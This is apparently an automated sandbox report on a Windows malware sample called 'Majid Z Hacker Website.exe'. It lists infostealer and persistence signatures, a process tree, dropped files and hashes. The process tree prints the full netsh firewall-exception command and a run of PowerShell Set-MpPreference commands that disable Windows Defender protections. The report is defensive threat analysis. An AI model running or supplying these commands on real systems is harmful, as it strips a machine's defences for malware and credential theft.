Analysis

  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/05/2024, 12:30

General

  • Target
    Majid Z Hacker Website.exe
  • Size 127KB
  • Sample240531-pphmjahe83
  • SHA256 349b87c3ebd55cab9daa375c468b62be416063af859a16bed78cf4bd06fb5c07
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 6 IoCs
  • Drops autorun.inf file 1 TTPs 4 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 63 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Majid Z Hacker Website.exe
    "C:\Users\Admin\AppData\Local\Temp\Majid Z Hacker Website.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Users\Admin\AppData\Local\Temp\microsoft corporation.exe
      "C:\Users\Admin\AppData\Local\Temp\microsoft corporation.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3860
      • C:\ProgramData\microsoft corporation.exe
        "C:\ProgramData\microsoft corporation.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3240
        • C:\Windows\SysWOW64\netsh.exe
          netsh firewall add allowedprogram "C:\ProgramData\microsoft corporation.exe" "microsoft corporation.exe" ENABLE
          4⤵
          • Modifies Windows Firewall
          PID:752
    • C:\Users\Admin\AppData\Local\Temp\windows.exe
      "C:\Users\Admin\AppData\Local\Temp\windows.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3760
      • C:\Users\Admin\AppData\Roaming\Adobe\Updates\windows.exe
        "C:\Users\Admin\AppData\Roaming\Adobe\Updates\windows.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops autorun.inf file
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:3640
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:436
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\SysWOW64\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs" /elevate
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1572
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1080
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBehaviorMonitoring $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4028
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2368
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3684
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5104
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2736
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4228
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4508
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4620
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3272
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5112

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        windows.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v2.0\UsageLogs\windows.exe.log
        • Size 860B
        • SHA256 e514619232e5f2a698f3e9bccdcff8b511ec262c562dc42926d00860bee769b4
        • MD5 SHA1 SHA512

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 8ec71e1dbf609709ab530ec6778ce1c47b6814a7ee081db81969ed68fb3ea7a9
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 ced1a391ec68da29459dd4e9dc62b3534a37ec3c235e0753c4139fccd9a2751f
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 81df5c3e36a7cd874ae9a09f31de01a748cc6d9897e0375471d75f992bf91987
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 360748c5136395ae45195c8c1b756bf56aa09a928c12870c41d06e52d2ddfde3
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 af7d1785013f2778adf581b2f6e4f17a9cdfee6b3242ef2c2e1b71cceaedda60
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_wlc4ihxe.x4x.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wlc4ihxe.x4x.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        melt.txt

        • Path C:\Users\Admin\AppData\Local\Temp\melt.txt
        • Size 45B
        • SHA256 adae127291a1d4f70e9ff1258044a01d95176fd9bb2c303ab94f3e62db429a44
        • MD5 SHA1 SHA512

        microsoft corporation.exe

        • Path C:\Users\Admin\AppData\Local\Temp\microsoft corporation.exe
        • Size 33KB
        • SHA256 58c8e3599d16762dfc51decf16c3d014cd8c8dd1aab59a0acff5372c5182bda7
        • MD5 SHA1 SHA512 SSDEEP

        script.vbs

        • Path C:\Users\Admin\AppData\Local\Temp\script.vbs
        • Size 1KB
        • SHA256 ecd586281fc4655e40108fcf118beeae3411c1c1176951a763e47fb66d2e421f
        • MD5 SHA1 SHA512

        windows.exe

        • Path C:\Users\Admin\AppData\Local\Temp\windows.exe
        • Size 145KB
        • SHA256 59a0bd599e306457164b08b7fe23bbf4fe92b202beaad836d6faa28da61073ca
        • MD5 SHA1 SHA512 SSDEEP

        memory/1080-179-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/1080-156-0x0000000006120000-0x000000000616C000-memory.dmp

        memory/1080-151-0x0000000006050000-0x000000000606E000-memory.dmp

        memory/1080-209-0x00000000072E0000-0x0000000007383000-memory.dmp

        memory/1080-36-0x0000000005250000-0x0000000005272000-memory.dmp

        memory/1080-37-0x0000000005A30000-0x0000000005A96000-memory.dmp

        memory/1080-38-0x0000000005AA0000-0x0000000005B06000-memory.dmp

        memory/1080-40-0x0000000005B10000-0x0000000005E64000-memory.dmp

        memory/2368-286-0x0000000007E40000-0x0000000007E4E000-memory.dmp

        memory/2368-287-0x0000000007E50000-0x0000000007E64000-memory.dmp

        memory/2368-288-0x0000000007F50000-0x0000000007F6A000-memory.dmp

        memory/2368-34-0x0000000002FC0000-0x0000000002FF6000-memory.dmp

        memory/2368-289-0x0000000007F30000-0x0000000007F38000-memory.dmp

        memory/2368-189-0x0000000006E40000-0x0000000006E5E000-memory.dmp

        memory/2368-169-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/2368-168-0x0000000007AC0000-0x0000000007AF2000-memory.dmp

        memory/2736-255-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/3272-276-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/3684-254-0x00000000077C0000-0x0000000007856000-memory.dmp

        memory/3684-232-0x0000000007520000-0x000000000753A000-memory.dmp

        memory/3684-275-0x0000000007740000-0x0000000007751000-memory.dmp

        memory/3684-210-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/3684-233-0x0000000004F70000-0x0000000004F7A000-memory.dmp

        memory/3760-30-0x000000001C9F0000-0x000000001CA8C000-memory.dmp

        memory/3760-27-0x00000000017A0000-0x00000000017B0000-memory.dmp

        memory/3760-25-0x000000001BDB0000-0x000000001BE56000-memory.dmp

        memory/3760-28-0x00007FFE7BCB5000-0x00007FFE7BCB6000-memory.dmp

        memory/3760-145-0x00007FFE7BA00000-0x00007FFE7C3A1000-memory.dmp

        memory/3760-29-0x000000001C480000-0x000000001C94E000-memory.dmp

        memory/3760-31-0x00007FFE7BA00000-0x00007FFE7C3A1000-memory.dmp

        memory/3760-39-0x000000001DCF0000-0x000000001DFFE000-memory.dmp

        memory/3760-32-0x000000001BE60000-0x000000001BE68000-memory.dmp

        memory/3760-33-0x000000001CBF0000-0x000000001CC3C000-memory.dmp

        memory/3860-167-0x0000000074020000-0x00000000745D1000-memory.dmp

        memory/3860-26-0x0000000074020000-0x00000000745D1000-memory.dmp

        memory/3860-23-0x0000000074020000-0x00000000745D1000-memory.dmp

        memory/3860-20-0x0000000074022000-0x0000000074023000-memory.dmp

        memory/4028-211-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/4028-35-0x00000000057D0000-0x0000000005DF8000-memory.dmp

        memory/4228-234-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/4508-199-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/4620-244-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/5104-231-0x0000000007C30000-0x00000000082AA000-memory.dmp

        memory/5104-190-0x0000000073E80000-0x0000000073ECC000-memory.dmp

        memory/5112-265-0x0000000073E80000-0x0000000073ECC000-memory.dmp